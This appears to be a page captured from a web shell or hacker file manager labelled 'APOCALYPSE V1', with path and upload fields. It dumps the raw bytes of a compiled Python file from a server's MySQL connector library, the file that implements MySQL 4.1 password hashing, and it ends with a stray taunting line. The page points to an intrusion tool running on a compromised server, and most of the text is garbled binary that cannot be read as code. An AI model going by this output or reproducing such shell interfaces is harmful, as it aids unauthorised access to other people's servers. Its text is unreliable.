PK APOCALYPSE V1

APOCALYPSE V1

Current Path : /opt/hc_python/lib/python3.12/site-packages/mysqlx/__pycache__/
Upload File :
Current File : //opt/hc_python/lib/python3.12/site-packages/mysqlx/__pycache__/authentication.cpython-312.pyc

�

���g�	��B�dZddlZddlZddlmZmZmZGd�de�Zy)z.Implementation of MySQL Authentication Plugin.�N�)�PY3�
UNICODE_TYPES�hexlifyc�*�eZdZd�Zd�Zd�Zd�Zd�Zy)�MySQL41AuthPluginc�n�||_t|t�r|jd�|_y||_y)Nzutf-8)�	_username�
isinstancer�encode�	_password)�self�username�passwords   �l/opt/hc_python/lib64/python3.12/site-packages/../../../lib/python3.12/site-packages/mysqlx/authentication.py�__init__zMySQL41AuthPlugin.__init__!s/��!����(�M�2�"����1���8@�	
��c��y)NzMySQL 4.1 Authentication Plugin��rs r�namezMySQL41AuthPlugin.name&s��0rc��y)N�MYSQL41rrs r�	auth_namezMySQL41AuthPlugin.auth_name)s��rc��tr"t||�D��cgc]
\}}||z��}}}n3t||�D��cgc]\}}t|�t|�z��}}}tjdg|���Scc}}wcc}}w)zmEncrypt/Decrypt function used for password encryption in
        authentication, using a simple XOR.
        �20B)r�zip�ord�struct�pack)r�hash1�hash2�h1�h2�xoreds      r�
xor_stringzMySQL41AuthPlugin.xor_string,sw���-0���->�?�->��"�b�R�"�W�->�E�?�7:�5�%�7H�I�7H�8�B��S��W�s�2�w�&�7H�E�I��{�{�5�)�5�)�)��@��Is
�A2�!A8c��|jr�tj|j�j�}tj|�j�}|j	|tj||z�j��}djd|jt|��Sdjd|j�S)z-Hashing for MySQL 4.1 authentication
        z
{0}{1}*{2}�z{0}{1})r
�hashlib�sha1�digestr&�formatr
r)r�datar#r$�
auth_responses     r�build_authentication_responsez/MySQL41AuthPlugin.build_authentication_response6s����>�>����d�n�n�-�4�4�6�B����b�!�(�(�*�B� �O�O��G�L�L����+�2�2�4�6�M�%�,�,�R����-4�]�-C�E�
E� �&�&�r�4�>�>�:�:rN)�__name__�
__module__�__qualname__rrrr&r/rrrrr s��A�
1��*�;rr)	�__doc__r)r�compatrrr�objectrrrr�<module>r6s"��05��
�/�/�!;��!;r

if you don't want to be vaporized in a nuclear explosion, i simply have to become nuclear myself… i am atomic